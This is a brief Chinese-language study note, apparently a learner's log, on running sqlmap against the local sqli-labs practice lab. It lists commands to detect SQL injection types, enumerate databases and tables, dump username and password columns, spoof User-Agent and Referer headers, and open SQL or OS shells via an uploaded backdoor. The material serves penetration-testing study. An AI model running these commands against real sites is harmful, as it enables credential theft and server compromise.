SQLMAP使用
小贾学习录
SQLMAP环境安装&简单使用
1.确定安装好环境,命令窗口输入python sqlmap.py
2.python sqlmap.py -hh
展示更多用法
3.–batch 自动选择
sqli-labs/less-1进行实验
SQLMAP的使用:
注入判断
1.python sqlmap.py -u “http://127.0.0.1/sqli-labs/less-1/?id=1” --batch
是mysql,版本大于等于5.5
2.判断
由图可知get类型,
存在下面四种类型的SQL注入
第一种:布尔类型
将payload 后的url复制到浏览器
修改and 后面的数据
报错注入
为了方面,将url中的数值改为自己熟悉的(0x7e)(~)
发现1,我们就可以对1进行替换,查询数据库
注意面试官常问的三种函数:
updatexml()
extractvalue()
exp()
count()+rang()+group by()导致主键重复。
时间盲注
联合注入
变换成自己知道的
直接替换,查表名,库名,字段名。
SQLMAP常用
1.python sqlmap.py -u “http://127.0.0.1/sqli-labs/less-1/?id=1” --batch --current-db
--current-db
获取当前数据库库名
--dbs
所有数据库
2.python sqlmap.py -u url-D dbname --tables --batch
查询表名
python sqlmap.py -u "http://127.0.0.1/sqli-labs/less-1/?id=1" --batch -D security --tables
3.获取列名:
-u “url” -D dbname -T tablename --columns
python sqlmap.py -u “http://127.0.0.1/sqli-labs/less-1/?id=1” --batch -D security -T users --columns
4.开始拿数据
python sqlmap.py -u “http://127.0.0.1/sqli-labs/less-1/?id=1” --batch -D security -T users -C username,password –dump
根据这个列做一个dump
5.python sqlmap.py -u “http://127.0.0.1/sqli-labs/less-1/?id=1” --batch -D security --dump (直接对库进行Dump)
这里注意对库直接进行–dump,要看他是不是时间注入,有选择的–dump
6.指定数据库
-dbms=mysql/oracle/mssql
7.判断是不是管理员
–is-dba
返回结果为true时,当前数据库用户为root,返回结果为false则相反。
8.看他的payload怎么写的,详细的显示payload
python sqlmap.py -u “http://127.0.0.1/sqli-labs/less-1/?id=1” --batch -v 3
9.-v 4 同时显示http请求
一般要加上–random-agent ,伪造UA信息。
user-agent 有一个文件 E:\python\sqlmap\data\txt\user-agents.txt’
可以改成常见的。
10.伪造referer
batch -v 4 --random-agent --referer=https://www,baidu,com
11.执行自定的SQL语句
–sql-shell
获取数据库的shell环境
12.执行系统命令
–os-shell 利用条件比较高
原理:
需要知道他的语言,他的绝对路径。
E:\phpstudy_pro\WWW (斜杠改成双斜杠)
或者
E:/phpstudy_pro/WWW
选择2自定义一个路径,
原理:
1.先上传一个用于上传文件的脚本攻击
2.上传后门文件
3.退出的时候,会自动清理这两个文件
13.批量测试 -m txt文件 批量测试url
url放到sqlmap的根目录下。
python sqlmap.py -m url.txt --batch --random-agent
14 -r 指定数据包进行测试(bp中抓到放到sqlmap目录下)
python sqlmap.py -r 1.txt --random-agent --batch